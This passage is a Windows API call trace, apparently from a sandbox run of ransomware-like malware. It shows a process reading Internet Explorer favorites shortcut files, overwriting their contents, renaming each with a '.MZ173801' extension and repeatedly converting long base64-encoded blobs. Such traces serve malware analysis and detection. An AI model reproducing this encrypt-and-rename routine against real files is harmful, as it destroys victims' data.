WriteFile (in: hFile=0x2a8, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f404*=0x85, lpOverlapped=0x0) returned 1 [0144.478] CloseHandle (hObject=0x2a8) returned 1 [0144.478] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url.MZ173801" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url.mz173801")) returned 1 [0144.481] GetCurrentThreadId () returned 0x9fc [0144.481] GetCurrentThreadId () returned 0x9fc [0144.481] GetCurrentThreadId () returned 0x9fc [0144.481] GetCurrentThreadId () returned 0x9fc [0144.481] GetCurrentThreadId () returned 0x9fc [0144.481] GetCurrentThreadId () returned 0x9fc [0144.481] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.481] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.481] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.485] GetCurrentThreadId () returned 0x9fc [0144.485] GetCurrentThreadId () returned 0x9fc [0144.485] GetCurrentThreadId () returned 0x9fc [0144.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.486] GetCurrentThreadId () returned 0x9fc [0144.486] GetCurrentThreadId () returned 0x9fc [0144.486] GetCurrentThreadId () returned 0x9fc [0144.486] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.486] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0144.487] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.487] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x85 [0144.487] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.487] ReadFile (in: hFile=0x2a8, lpBuffer=0x714510, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x85, lpOverlapped=0x0) returned 1 [0144.488] CloseHandle (hObject=0x2a8) returned 1 [0144.488] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.489] WriteFile (in: hFile=0x2a8, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f404*=0x85, lpOverlapped=0x0) returned 1 [0144.490] CloseHandle (hObject=0x2a8) returned 1 [0144.490] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.MZ173801" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url.mz173801")) returned 1 [0144.491] GetCurrentThreadId () returned 0x9fc [0144.491] GetCurrentThreadId () returned 0x9fc [0144.491] GetCurrentThreadId () returned 0x9fc [0144.491] GetCurrentThreadId () returned 0x9fc [0144.491] GetCurrentThreadId () returned 0x9fc [0144.491] GetCurrentThreadId () returned 0x9fc [0144.491] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.491] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.491] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.495] GetCurrentThreadId () returned 0x9fc [0144.495] GetCurrentThreadId 